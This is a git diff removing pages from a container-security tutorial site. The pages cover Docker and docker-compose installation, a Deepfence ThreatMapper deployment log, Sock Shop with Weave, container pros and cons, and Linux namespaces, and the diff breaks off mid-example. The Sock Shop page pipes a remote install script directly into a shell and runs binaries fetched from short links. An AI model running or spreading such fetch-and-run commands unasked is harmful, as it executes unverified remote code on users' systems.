amd64 Packages - 5:20.10.8~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.7~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.6~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.5~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.4~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.3~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.2~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.1~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.0~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.15~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.14~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.13~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.12~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.11~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.10~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:19.03.9~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages -Reading package lists... Done -Building dependency tree... Done -Reading state information... Done -``` - -# verify whether docker is installed or not - -```rust -docker - -Usage: docker [OPTIONS] COMMAND - -A self-sufficient runtime for containers - -Options: - --config string Location of client config files (default "/home/ubuntu/.docker") - -c, --context string Name of the context to use to connect to the daemon (overrides DOCKER_HOST env var and default context set - with "docker context use") - -D, --debug Enable debug mode - -H, --host list Daemon socket(s) to connect to - -l, --log-level string Set the logging level ("debug"|"info"|"warn"|"error"|"fatal") (default "info") - --tls Use TLS; implied by --tlsverify - --tlscacert string Trust certs signed only by this CA (default "/home/ubuntu/.docker/ca.pem") - --tlscert string Path to TLS certificate file (default "/home/ubuntu/.docker/cert.pem") - --tlskey string Path to TLS key file (default "/home/ubuntu/.docker/key.pem") - --tlsverify Use TLS and verify the remote - -v, --version Print version information and quit - -Management Commands: - app* Docker App (Docker Inc., v0.9.1-beta3) - builder Manage builds - buildx* Docker Buildx (Docker Inc., v0.9.1-docker) - config Manage Docker configs - container Manage containers - context Manage contexts - image Manage images - manifest Manage Docker image manifests and manifest lists - network Manage networks - node Manage Swarm nodes - plugin Manage plugins - scan* Docker Scan (Docker Inc., v0.21.0) - secret Manage Docker secrets - service Manage services - stack Manage Docker stacks - swarm Manage Swarm - system Manage Docker - trust Manage trust on Docker images - volume Manage volumes - -Commands: - attach Attach local standard input, output, and error streams to a running container - build Build an image from a Dockerfile - commit Create a new image from a container's changes - cp Copy files/folders between a container and the local filesystem - create Create a new container - diff Inspect changes to files or directories on a container's filesystem - events Get real time events from the server - exec Run a command in a running container - export Export a container's filesystem as a tar archive - history Show the history of an image - images List images - import Import the contents from a tarball to create a filesystem image - info Display system-wide information - inspect Return low-level information on Docker objects - kill Kill one or more running containers - load Load an image from a tar archive or STDIN - login Log in to a Docker registry - logout Log out from a Docker registry - logs Fetch the logs of a container - pause Pause all processes within one or more containers - port List port mappings or a specific mapping for the container - ps List containers - pull Pull an image or a repository from a registry - push Push an image or a repository to a registry - rename Rename a container - restart Restart one or more containers - rm Remove one or more containers - rmi Remove one or more images - run Run a command in a new container - save Save one or more images to a tar archive (streamed to STDOUT by default) - search Search the Docker Hub for images - start Start one or more stopped containers - stats Display a live stream of container(s) resource usage statistics - stop Stop one or more running containers - tag Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE - top Display the running processes of a container - unpause Unpause all processes within one or more containers - update Update configuration of one or more containers - version Show the Docker version information - wait Block until one or more containers stop, then print their exit codes - -Run 'docker COMMAND --help' for more information on a command. -``` - -# install docker-compose - -```rust -sudo sysctl -w vm.max_map_count=262144 -sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose -sudo mv /usr/local/bin/docker-compose /usr/bin/docker-compose -sudo chmod +x /usr/bin/docker-compose -docker-compose --version -vm.max_map_count = 262144 -``` - -# docker-compose up - -```rust - sudo docker-compose -f docker-compose.yml up --detach -``` - -# pulling all docker images required for the management console - -```rust -[+] Running 132/133al-router Pulled 5.1s - ⠧ deepfence-ui Pulling 55.8s - ⠿ ee30d1e46960 Pull complete 18.1s - ⠿ cbdf55152882 Pull complete 20.7s - ⠿ 02145a3d08dc Pull complete 24.4s - ⠿ 3b43024e0402 Pull complete 25.5s - ⠿ 000a421a9381 Pull complete 25.8s - ⠿ 273e2d14a316 Pull complete 26.1s - ⠿ 35f2174af386 Pull complete 52.7s - ⠿ 3bf6d37d02af Pull complete 53.2s - ⠿ 2ebf2edf21e9 Pull complete 53.7s - ⠿ 70ecf58c4679 Pull complete 54.1s - ⠿ deepfence-package-scanner Pulled 8.8s - ⠿ 51dd59142225 Pull complete 4.0s - ⠿ afd427f95343 Pull complete 5.2s - ⠿ ad4b784c8601 Pull complete 7.5s - ⠿ deepfence-backend Pulled 48.2s - ⠿ deepfence-console-agent Pulled 46.4s - ⠿ e0c9ebf1f052 Pull complete 25.5s - ⠿ 9341ad80650d Pull complete 26.0s - ⠿ b6a94e577185 Pull complete 26.9s - ⠿ f2f4f6c497c7 Pull complete 27.4s - ⠿ 83dc6dff4d1f Pull complete 27.8s - ⠿ 2c66b377cc17 Pull complete 28.1s - ⠿ ae95bb3e76fc Pull complete 29.9s - ⠿ 58edf371ef84 Pull complete 30.5s - ⠿ b5b91601778a Pull complete 30.9s - ⠿ e7ca0b813b35 Pull complete 31.4s - ⠿ bac5f99ed5ff Pull complete 32.2s - ⠿ 0b03b6c6e703 Pull complete 32.7s - ⠿ 00ef62c6beae Pull complete 33.1s - ⠿ 2317941b432c Pull complete 33.4s - ⠿ c78d4ef87429 Pull complete 33.8s - ⠿ 52d6b999791e Pull complete 37.0s - ⠿ 3c66ae264813 Pull complete 40.4s - ⠿ fa91d8140bb4 Pull complete 44.0s - ⠿ 415ec3af8b5c Pull complete 45.0s - ⠿ deepfence-diagnosis Pulled 9.3s - ⠿ d8089fb41a4e Pull complete 7.2s - ⠿ 761247dc597b Pull complete 7.9s - ⠿ deepfence-vulnerability-mapper Pulled 9.0s - ⠿ 9621f1afde84 Pull complete 4.8s - ⠿ d2f87f45af97 Pull complete 5.8s - ⠿ 0df38fc1dcc4 Pull complete 5.8s - ⠿ 5ce3bac9b38d Pull complete 6.0s - ⠿ b8a17e0751b8 Pull complete 7.7s - ⠿ deepfence-redis Pulled 20.4s - ⠿ 192e03523482 Pull complete 14.1s - ⠿ 7151bccd2756 Pull complete 14.9s - ⠿ e599fac432b2 Pull complete 16.0s - ⠿ 720d86c10923 Pull complete 16.5s - ⠿ 40911e48517b Pull complete 16.9s - ⠿ 115eb662e680 Pull complete 17.3s - ⠿ 31b9b283aa20 Pull complete 17.9s - ⠿ b748b52207f7 Pull complete 18.3s - ⠿ 5b0f449535b8 Pull complete 18.9s - ⠿ deepfence-api Pulled 48.3s - ⠿ 31b3f1ad4ce1 Pull complete 1.8s - ⠿ f335cc1597f2 Pull complete 2.0s - ⠿ 0375df124bb5 Pull complete 2.6s - ⠿ 90a356bcda5b Pull complete 2.7s - ⠿ c82e0170c13b Pull complete 2.9s - ⠿ 38dc58c5f029 Pull complete 3.0s - ⠿ 0189a7ca7a09 Pull complete 40.8s - ⠿ 8d069dc99fe4 Pull complete 45.2s - ⠿ 50e62824984f Pull complete 45.6s - ⠿ c12613b81b5c Pull complete 45.8s - ⠿ c8901960f9b5 Pull complete 45.9s - ⠿ a5981c5eb3db Pull complete 46.3s - ⠿ 860d4f2e0b1a Pull complete 46.8s - ⠿ 8a3f7b35b548 Pull complete 47.0s - ⠿ 37c02a7c1188 Pull complete 47.4s - ⠿ deepfence-celery Pulled 48.2s - ⠿ deepfence-postgres Pulled 28.2s - ⠿ 7902437d3a12 Pull complete 10.9s - ⠿ 709e2267bc98 Pull complete 11.5s - ⠿ 10c5a0a9c34e Pull complete 21.4s - ⠿ b46af7f38693 Pull complete 22.4s - ⠿ 65aa0c237f80 Pull complete 23.3s - ⠿ f6493ce74812 Pull complete 24.0s - ⠿ eaac3b44f9d0 Pull complete 24.5s - ⠿ 3b6db84bcdcc Pull complete 25.1s - ⠿ 120ba5542ffd Pull complete 25.5s - ⠿ 9fd0e93acee4 Pull complete 25.8s - ⠿ 257465d6d91b Pull complete 26.1s - ⠿ 568fad078a9c Pull complete 26.5s - ⠿ deepfence-init-container Pulled 14.8s - ⠿ 2ad0d7925a78 Pull complete 12.6s - ⠿ 3e00d8e06113 Pull complete 13.2s - ⠿ deepfence-es Pulled 41.1s - ⠿ 4e9f2cdf4387 Pull complete 15.3s - ⠿ 2e70516637d4 Pull complete 37.1s - ⠿ ba468cc9ce22 Pull complete 37.6s - ⠿ a2c864bf08ba Pull complete 38.1s - ⠿ 7869dc55514f Pull complete 38.8s - ⠿ 6320c0eaee7c Pull complete 39.5s -[+] Running 133/133al-router Pulled 5.1s - ⠿ deepfence-ui Pulled 55.9s - ⠿ ee30d1e46960 Pull complete 18.1s - ⠿ cbdf55152882 Pull complete 20.7s - ⠿ 02145a3d08dc Pull complete 24.4s - ⠿ 3b43024e0402 Pull complete 25.5s - ⠿ 000a421a9381 Pull complete 25.8s - ⠿ 273e2d14a316 Pull complete 26.1s - ⠿ 35f2174af386 Pull complete 52.7s - ⠿ 3bf6d37d02af Pull complete 53.2s - ⠿ 2ebf2edf21e9 Pull complete 53.7s - ⠿ 70ecf58c4679 Pull complete 54.1s - ⠿ deepfence-package-scanner Pulled 8.8s - ⠿ 51dd59142225 Pull complete 4.0s - ⠿ afd427f95343 Pull complete 5.2s - ⠿ ad4b784c8601 Pull complete 7.5s - ⠿ deepfence-backend Pulled 48.2s - ⠿ deepfence-console-agent Pulled 46.4s - ⠿ e0c9ebf1f052 Pull complete 25.5s - ⠿ 9341ad80650d Pull complete 26.0s - ⠿ b6a94e577185 Pull complete 26.9s - ⠿ f2f4f6c497c7 Pull complete 27.4s - ⠿ 83dc6dff4d1f Pull complete 27.8s - ⠿ 2c66b377cc17 Pull complete 28.1s - ⠿ ae95bb3e76fc Pull complete 29.9s - ⠿ 58edf371ef84 Pull complete 30.5s - ⠿ b5b91601778a Pull complete 30.9s - ⠿ e7ca0b813b35 Pull complete 31.4s - ⠿ bac5f99ed5ff Pull complete 32.2s - ⠿ 0b03b6c6e703 Pull complete 32.7s - ⠿ 00ef62c6beae Pull complete 33.1s - ⠿ 2317941b432c Pull complete 33.4s - ⠿ c78d4ef87429 Pull complete 33.8s - ⠿ 52d6b999791e Pull complete 37.0s - ⠿ 3c66ae264813 Pull complete 40.4s - ⠿ fa91d8140bb4 Pull complete 44.0s - ⠿ 415ec3af8b5c Pull complete 45.0s - ⠿ deepfence-diagnosis Pulled 9.3s - ⠿ d8089fb41a4e Pull complete 7.2s - ⠿ 761247dc597b Pull complete 7.9s - ⠿ deepfence-vulnerability-mapper Pulled 9.0s - ⠿ 9621f1afde84 Pull complete 4.8s - ⠿ d2f87f45af97 Pull complete 5.8s - ⠿ 0df38fc1dcc4 Pull complete 5.8s - ⠿ 5ce3bac9b38d Pull complete 6.0s - ⠿ b8a17e0751b8 Pull complete 7.7s - ⠿ deepfence-redis Pulled 20.4s - ⠿ 192e03523482 Pull complete 14.1s - ⠿ 7151bccd2756 Pull complete 14.9s - ⠿ e599fac432b2 Pull complete 16.0s - ⠿ 720d86c10923 Pull complete 16.5s - ⠿ 40911e48517b Pull complete 16.9s - ⠿ 115eb662e680 Pull complete 17.3s - ⠿ 31b9b283aa20 Pull complete 17.9s - ⠿ b748b52207f7 Pull complete 18.3s - ⠿ 5b0f449535b8 Pull complete 18.9s - ⠿ deepfence-api Pulled 48.3s - ⠿ 31b3f1ad4ce1 Pull complete 1.8s - ⠿ f335cc1597f2 Pull complete 2.0s - ⠿ 0375df124bb5 Pull complete 2.6s - ⠿ 90a356bcda5b Pull complete 2.7s - ⠿ c82e0170c13b Pull complete 2.9s - ⠿ 38dc58c5f029 Pull complete 3.0s - ⠿ 0189a7ca7a09 Pull complete 40.8s - ⠿ 8d069dc99fe4 Pull complete 45.2s - ⠿ 50e62824984f Pull complete 45.6s - ⠿ c12613b81b5c Pull complete 45.8s - ⠿ c8901960f9b5 Pull complete 45.9s - ⠿ a5981c5eb3db Pull complete 46.3s - ⠿ 860d4f2e0b1a Pull complete 46.8s - ⠿ 8a3f7b35b548 Pull complete 47.0s - ⠿ 37c02a7c1188 Pull complete 47.4s - ⠿ deepfence-celery Pulled 48.2s - ⠿ deepfence-postgres Pulled 28.2s - ⠿ 7902437d3a12 Pull complete 10.9s - ⠿ 709e2267bc98 Pull complete 11.5s - ⠿ 10c5a0a9c34e Pull complete 21.4s - ⠿ b46af7f38693 Pull complete 22.4s - ⠿ 65aa0c237f80 Pull complete 23.3s - ⠿ f6493ce74812 Pull complete 24.0s - ⠿ eaac3b44f9d0 Pull complete 24.5s - ⠿ 3b6db84bcdcc Pull complete 25.1s - ⠿ 120ba5542ffd Pull complete 25.5s - ⠿ 9fd0e93acee4 Pull complete 25.8s - ⠿ 257465d6d91b Pull complete 26.1s - ⠿ 568fad078a9c Pull complete 26.5s - ⠿ deepfence-init-container Pulled 14.8s - ⠿ 2ad0d7925a78 Pull complete 12.6s - ⠿ 3e00d8e06113 Pull complete 13.2s - ⠿ deepfence-es Pulled 41.1s - ⠿ 4e9f2cdf4387 Pull complete 15.3s - ⠿ 2e70516637d4 Pull complete 37.1s - ⠿ ba468cc9ce22 Pull complete 37.6s - ⠿ a2c864bf08ba Pull complete 38.1s - ⠿ 7869dc55514f Pull complete 38.8s - ⠿ 6320c0eaee7c Pull complete 39.5s - ⠿ deepfence-internal-router Pulled 5.1s - ⠿ deepfence-secret-scanner Pulled 43.2s - ⠿ c963e9db8328 Pull complete 34.6s - ⠿ 7f20bc208900 Pull complete 35.0s - ⠿ a11f9e68c7c1 Pull complete 36.3s - ⠿ bac7f7e29d55 Pull complete 36.5s - ⠿ a34450f81e53 Pull complete 37.2s - ⠿ 8dc83348f20e Pull complete 41.0s - ⠿ 1789eac203f6 Pull complete 41.6s - ⠿ deepfence-fetcher Pulled 44.4s - ⠿ 59bf1c3509f3 Pull complete 22.1s - ⠿ 7f019d2ddd3b Pull complete 23.2s - ⠿ d365c5dd6d5a Pull complete 23.7s - ⠿ 86b2e2904ff3 Pull complete 24.2s - ⠿ 9e8d01c5b686 Pull complete 42.5s - ⠿ deepfence-router Pulled 5.1s - ⠿ df9b9388f04a Pull complete 1.8s - ⠿ 7c1ae225ee09 Pull complete 1.9s - ⠿ d67475b58d2b Pull complete 2.5s - ⠿ 403f08e781eb Pull complete 2.6s - ⠿ 452f212a53d1 Pull complete 2.8s - ⠿ 437cebde658b Pull complete 2.8s - ⠿ 7c9ad45672b2 Pull complete 2.9s - ⠿ 7d72372a1383 Pull complete 3.1s - ⠿ d6bb5a9a1f12 Pull complete 3.2s - ⠿ 7cf149b1a854 Pull complete 3.3s - ⠿ b6e2429d9e38 Pull complete 3.3s - ⠿ 92dcd490ec00 Pull complete 3.4s - ⠿ 617b7a99eac3 Pull complete 3.5s - ⠿ 259e00ee3450 Pull complete 3.6s - ⠿ 83bec234123b Pull complete 3.7s - ⠿ 928a4d3b5efe Pull complete 3.8s - ⠿ deepfence-topology Pulled 34.0s - ⠿ a0d0a0d46f8b Pull complete 16.0s - ⠿ 127cfa2b873d Pull complete 16.6s - ⠿ 15a88de45267 Pull complete 30.3s - ⠿ 35233bb75987 Pull complete 32.0s - ⠿ 8133cfb2a953 Pull complete 32.4s -[+] Running 19/19 - ⠿ Network ubuntu_deepfence_net Created 0.3s - ⠿ Volume "ubuntu_deepfence_data" Created 0.0s - ⠿ Container deepfence-postgres Started 16.5s - ⠿ Container deepfence-secret-scanner Started 18.4s - ⠿ Container deepfence-vulnerability-mapper Started 17.3s - ⠿ Container deepfence-diagnosis Started 17.5s - ⠿ Container deepfence-package-scanner Started 17.7s - ⠿ Container deepfence-console-agent Started 16.0s - ⠿ Container deepfence-es-master Started 17.1s - ⠿ Container df-init-container Started 16.0s - ⠿ Container deepfence-topology Started 17.3s - ⠿ Container deepfence-router Started 18.4s - ⠿ Container deepfence-internal-router Started 17.5s - ⠿ Container deepfence-redis Started 2.3s - ⠿ Container deepfence-ui Started 2.8s - ⠿ Container deepfence-fetcher Started 2.4s - ⠿ Container deepfence-celery Started 3.5s - ⠿ Container deepfence-api Started 3.4s - ⠿ Container deepfence-backend Started 3.1s -``` - -## check all running docker containers - -```rust - -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -4514ee6713ac deepfenceio/deepfence_api_ce:1.4.1 "/app/code/dockerify…" About a minute ago Up About a minute deepfence-api -1ba3ffed69da deepfenceio/deepfence_api_ce:1.4.1 "/app/code/dockerify…" About a minute ago Up About a minute deepfence-backend -8bab0ec9f33c deepfenceio/deepfence_api_ce:1.4.1 "/app/code/dockerify…" About a minute ago Up About a minute deepfence-celery -22656ac2f42e deepfenceio/deepfence_fetcher_ce:1.4.1 "/usr/bin/start_fetc…" About a minute ago Up About a minute 8006/tcp deepfence-fetcher -53e90c2fb2ee deepfenceio/deepfence_ui_ce:1.4.1 "/home/deepfence/ent…" About a minute ago Up About a minute deepfence-ui -ef95a5d836af deepfenceio/deepfence_redis_ce:1.4.1 "/usr/local/bin/star…" About a minute ago Up About a minute 6379/tcp deepfence-redis -41861a1a902d deepfenceio/deepfence_elastic_ce:1.4.1 "/usr/bin/startEs.sh…" About a minute ago Up About a minute 127.0.0.1:9200->9200/tcp, 127.0.0.1:9300->9300/tcp deepfence-es-master -d7f746d048f1 deepfenceio/deepfence_router_ce:1.4.1 "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp deepfence-router -c3e6524325b1 deepfenceio/deepfence_vulnerability_mapper_ce:1.4.1 "/entrypoint.sh" About a minute ago Up About a minute 8001/tcp deepfence-vulnerability-mapper -4331c9eeb50f deepfenceio/deepfence_router_ce:1.4.1 "docker-entrypoint.s…" About a minute ago Up About a minute 127.0.0.1:8443->443/tcp deepfence-internal-router -16fae4515f45 deepfenceio/deepfence_diagnosis_ce:1.4.1 "/home/diagnosis" About a minute ago Up About a minute deepfence-diagnosis -515a139b6c8f deepfenceio/deepfence_agent_ce:1.4.1 "/usr/local/bin/star…" About a minute ago Up About a minute deepfence-console-agent -10ac5757f982 deepfenceio/deepfence_postgres_ce:1.4.1 "docker-entrypoint.s…" About a minute ago Up About a minute 5432/tcp deepfence-postgres -50621d650d96 deepfenceio/deepfence_package_scanner_ce:1.4.1 "/usr/local/bin/pack…" About a minute ago Up About a minute 8002/tcp, 8005/tcp deepfence-package-scanner -0e96086bc3d0 deepfenceio/deepfence_discovery_ce:1.4.1 "/home/deepfence/ent…" About a minute ago Up About a minute 127.0.0.1:8004->8004/tcp deepfence-topology -bda5019a336a deepfenceio/deepfence_secret_scanner_ce:1.4.1 "/home/deepfence/usr…" About a minute ago Up About a minute deepfence-secret-scanner -``` - -access threatmapper console using AWS instance public IP - -54.152.156.120 (in your case check your EC2 instance public IP ) - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720365441/b1c13f69-94ee-4db1-85e7-705c85adbe4a.png ) - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720385153/020c94de-a9bb-4d2b-a4c1-8b7101377565.png ) - -next part of this you will find here you can do the same deployment using Kubernetes or Helm \ No newline at end of file diff --git a/content/en/containersecurity/b28.Sock-shop-weave.md b/content/en/containersecurity/b28.Sock-shop-weave.md deleted file mode 100644 index 22cd934..0000000 --- a/content/en/containersecurity/b28.Sock-shop-weave.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: "Sock Shop Docker Compose and Weave" -slug: "Sock-Shop-Docker-Compose-and-Weave" ---- - -Sock Shop Docker Compose & Weave - - -Pre-requisites -Install Docker -Install Weave Scope -Install Weave Net - -``` - -git clone https://github.com/microservices-demo/microservices-demo -cd microservices-demo -``` - - -``` -curl -sSL https://get.docker.com/ | sh -apt-get install -yq python-pip build-essential python-dev -pip install docker-compose -curl -L git.io/weave -o /usr/local/bin/weave -chmod a+x /usr/local/bin/weave -``` - -Launch Weave Scope - -``` - sudo curl -L git.io/scope -o /usr/local/bin/scope -sudo chmod a+x /usr/local/bin/scope -scope launch -``` - -Weave launch - -``` -weave launch -docker-compose -f deploy/docker-compose-weave/docker-compose.yml up -d - -``` \ No newline at end of file diff --git a/content/en/containersecurity/b3.Container-adv-dis.md b/content/en/containersecurity/b3.Container-adv-dis.md deleted file mode 100644 index 03ceecf..0000000 --- a/content/en/containersecurity/b3.Container-adv-dis.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: "Container Advantage and Disadvantages " -description: "The introduction to this course." -slug: "Container-Advantage-and-Disadvantages" ---- - -# Container Advantages - -Every day, developers find new ways to put containerization to work to solve their challenges. There is no shortage of ways to use containerization, and every application will likely produce unique benefits. Here are some of the most common reasons developers decide to containerize: - -- Portability - - No discussion of containerization is complete without at least one mention of the motto, “write once, run anywhere.” Since a container bundles all dependencies, you can take your application just about anywhere without rebuilding it to account for a new environment. - - Also, the abstraction provided by containerization ensures that your container works the same way regardless of where you deploy it. That means you can take your app to the cloud, run it on in a VM, or go directly to bare metal. As long as the host operating system supports your containerization tools, you are ready to deploy with minimal hassle. -- Efficiency - - Containerization is one of the most efficient methods of virtualization available to developers. Containers improve efficiency in two ways: they use all available resources, and they minimize overhead. - - - When properly configured, containers allow a host to take advantage of virtually all available resources. Isolated containers can perform their operations without interfering with other containers, allowing a single host to perform many functions. - - - Containers also remove the need for virtualized operating systems, hypervisors, and other bottlenecks typically introduced by virtualization techniques. Unlike VMs, which rely on their virtual kernel, containers use the host operating system’s kernel. This drastically reduces overhead and minimizes resource use. -- Agility - - Containerization is a crucial tool for streamlining DevOps workflows. You can create containers rapidly, deploy them to any environment, where they can be used to solve many diverse DevOps challenges. - - When a task presents itself, you can quickly develop a container to handle the job. If it is no longer needed, you can automatically shut it down until it is needed again. This is a technique known as orchestration. Technologies like Kubernetes automate the process of coordinating, managing, scaling, and removing containers. - - You can think of Kubernetes as the conductor of your container orchestra. With the help of Kubernetes-coordinated containers, developers can rapidly respond to problems and spin up novel solutions without worrying about lengthy and complicated deployments. - - -- Faster delivery - - How long does it take upgrades to go from concept to implementation? Generally, the bigger an application, the longer it takes to get any improvements implemented. Containerization solves this issue by compartmentalizing your application. You can divide even the most enormous beast of an application into discrete parts using microservices. - - - Microservices take apart much larger applications by segmenting pieces into containers. This division makes it much easier for developers to implement changes and deploy new code. You can change isolated areas of the application without affecting the whole. -- Improved security - - The isolation introduced by containerization also provides an additional layer of security. Because containers are isolated from one another, you can be confident that your applications are running in their own self-contained environment. That means that even if the security of one container is compromised, other containers on the same host remain secure. - - - In addition to being isolated from one another, containers are also isolated from the host operating system and can only minimally interact with computing resources. All of this equates to an inherently more secure way to deploy applications. -- Faster app startup - - Compared to other methods of virtualization such as VMs, containers are extremely lightweight. One of the many benefits of being lightweight is rapid startup times. Because a container doesn’t rely on a hypervisor or virtualized operating system to access computing resources, startup times are virtually instantaneous. - - - The only limiting factor is the application itself. With no substantial overhead to wait for, the only startup delay is from your code. Rapid startup is a great reason for frequent updates and improvements. - - -- Easier management - - Containerization allows developers the versatility to operate their code in either a virtualized or bare-metal environment. Whatever the demands of deployment, containerization can rise to meet them. Should there be a sudden need to retool your environment from metal to virtual or vice versa, your containerized applications are already prepared to make the switch. - - - Containerized apps using microservices become so flexible that you can host certain elements on bare metal and deploy others to virtual cloud environments. - - - Thinking with containers allows developers to reconceptualize their available resources. That might mean squeezing an extra drop of processing from a machine at maximum capacity. Or it could mean finding that what before seemed like a resource limitation was simply an opportunity to innovate. - - -- Flexibility - - Kubernetes offers a variety of tools that simplify container management, like rollbacks and upgrades, as part of the platform. It also handles installation. There are self-healing features you can use to attempt to recover failed containers, terminate containers that fail health checks, and constantly monitor your containers’ health and status. - - - Kubernetes also automates resource management. You can allocate each container a set amount of CPU and RAM to handle its tasks. Ultimately, managing containers with the help of a tool such as Kubernetes is leaps and bounds easier than traditional application management methods. - - -# Container Disadvantages - -- Not right for all tasks - - containers are ideally suited to microservice-type application development -- an approach that allows more complex applications to be configured from basic building blocks, where each building block is deployed in a container and the constituent containers are linked together to form the cohesive application. The application's functionality can then be scaled by deploying more containers of the appropriate building blocks rather than entire new iterations of the full application. -- Grappling with dependencies - - Common VMs are extremely self-contained and each VM includes a unique operating system (OS), drivers and application components. VMs can also be migrated to any other system as long as a suitable hypervisor is available. By comparison, containers run on top of a physical OS, sharing much of the underlying OS kernel along with many libraries and binaries. Bittman explained that placing dependencies on containers that can limit portability between servers. For example, Linux containers under Docker cannot run on current versions of Windows Server. -- Weaker isolation - - Hypervisor-based VMs provide a high level of isolation from one another because the system's hardware resources are all virtualized and presented to the VMs through the hypervisor. This means a bug, virus or intrusion could compromise one VM, but not carry over to other VMs. - - - Containers are weaker because they share an OS kernel and components and already have a deep level of authorization (usually root access in Linux environments) in order to run in the first place. As a consequence, flaws and attacks have a much greater potential to carry down into an underlying OS and over into other containers -- potentially propagating malicious activity far beyond the original event. - - - While container platforms are evolving to segregate OS rights and limit vulnerable security postures, Bittman explains that administrators can boost security now by running containers in a VM. For example, it's possible to set up a Linux VM on Hyper-V and install Docker containers on the Linux VM. Even if containers within the VM are compromised, the vulnerability will not extend outside of the VM -- limiting the scope of potential damage. -- Potential for sprawl - - Where VM lifecycle management is important for hypervisor-based environments, lifecycle management is absolutely critical for containers. Containers can be spun up and duplicated at an astonishing rate. This is an important benefit of containers, but it's also possible to consume a vast amount of computing resources without truly realizing it. That's not bad if the application's constituent containers are spun down or deleted when they're no longer needed. But the costs to scale up a containerized application, and then forgetting to scale it back later, can impose significant (and unnecessary) cloud computing costs for the enterprise. Bittman noted that cloud providers love it -- they make money renting computing power -- and the onus is on users to watch how containers are deployed. - -- Limited tools - - The kind of tools needed to monitor and manage containers are still lacking in the industry. This is not a new phenomenon. The early days of hypervisor-based virtualization were marked by a shortage of suitable tools. And just as capable VM monitoring and management tools are now readily available, new tools are starting to appear for container management. These include Google's open source Docker management tools Kubernetes, DockerUI to replace Linux command line functions with a web-based front end, Logspout to route container logs to a central location and so on. - - diff --git a/content/en/containersecurity/b4.Namespaces.md b/content/en/containersecurity/b4.Namespaces.md deleted file mode 100644 index ae8dc2a..0000000 --- a/content/en/containersecurity/b4.Namespaces.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: "Namespaces " -description: "Linux Container Namespaces " -slug: "namespaces" ---- - -# Namespaces - - -There are several types of namespaces in containers, including: - -1. PID Namespaces: - - These namespaces isolate the process IDs of containers from the host system and from other containers. This means that each container has its own set of process IDs, which helps to prevent conflicts and ensures that containers cannot access processes belonging to other containers or the host system. - -2. Network Namespaces: - - These namespaces isolate the network interfaces and IP addresses of containers from the host system and from other containers. This allows each container to have its own virtual network interface and IP address, enabling them to communicate with each other and with the host system. -3. Mount Namespaces: - - These namespaces isolate the file systems of containers from the host system and from other containers. This allows each container to have its own file system, which is separate from the file systems of other containers and the host system. -4. User Namespaces: - - These namespaces isolate the user IDs of containers from the host system and from other containers. This allows containers to run as a different user or group than the host system, which helps to prevent privilege escalation and ensures that containers cannot access resources belonging to other containers or the host system. -5. UTS Namespaces: - - These namespaces isolate the hostname and domain name of containers from the host system and from other containers. This allows each container to have its own hostname and domain name, which can be used to identify the container within a network. - -
- -# PID Namespaces with example - -- PID namespaces are a Linux kernel feature that allow processes to have their own unique process identifier (PID) space, separate from the global PID space. This allows for the creation of multiple, isolated process hierarchies within a single host. - -- For example, consider a scenario where you want to run multiple instances of a web server on a single host, each with its own set of processes. Without PID namespaces, you would have to manually manage the PIDs of each instance to ensure that there are no conflicts between them. - -- With PID namespaces, you can simply create a new namespace for each instance of the web server, and the processes within each namespace will have their own unique PIDs, separate from the other instances. This makes it much easier to manage and isolate the processes of each instance. - -To create a new PID namespace, you can use the "unshare" command, followed by the `-pid` flag. For example: - -```bash -$ unshare --pid bash -``` -This will create a new bash shell within a new PID namespace, and any processes that you start within this shell will have their own unique PIDs within that namespace. You can verify this by running the "ps" command and observing the PIDs of the processes. - -
- -# Network Namespaces with example - - -Namespaces are a way for containers to share a single kernel, but have their own set of resources and processes. This allows for multiple containers to run on a single host without conflicting with each other. - -For example, if we have two containers running on a host, each with their own namespace for network resources, they will be able to use the same network interface, but will not be able to see or interact with each other's network connections. - -To demonstrate this, we can use the following commands: - -First, create a namespace for network resources using the "ip netns" command: - -```bash -# ip netns add container1 -``` -Now, create a veth pair (virtual Ethernet pair) to connect the namespace to the host: - -```bash -# ip link add veth0 type veth peer name veth1 - -``` -Assign veth1 to the namespace: - -```bash -# ip link set veth1 netns container1 - -``` -Bring up the veth pair: - -```bash -# ip link set veth0 up -# ip netns exec container1 ip link set veth1 up - -``` -Now, assign an IP address to veth0: - -```bash -# ip addr add 192.168.0.1/24 dev veth0 - -``` -And assign an 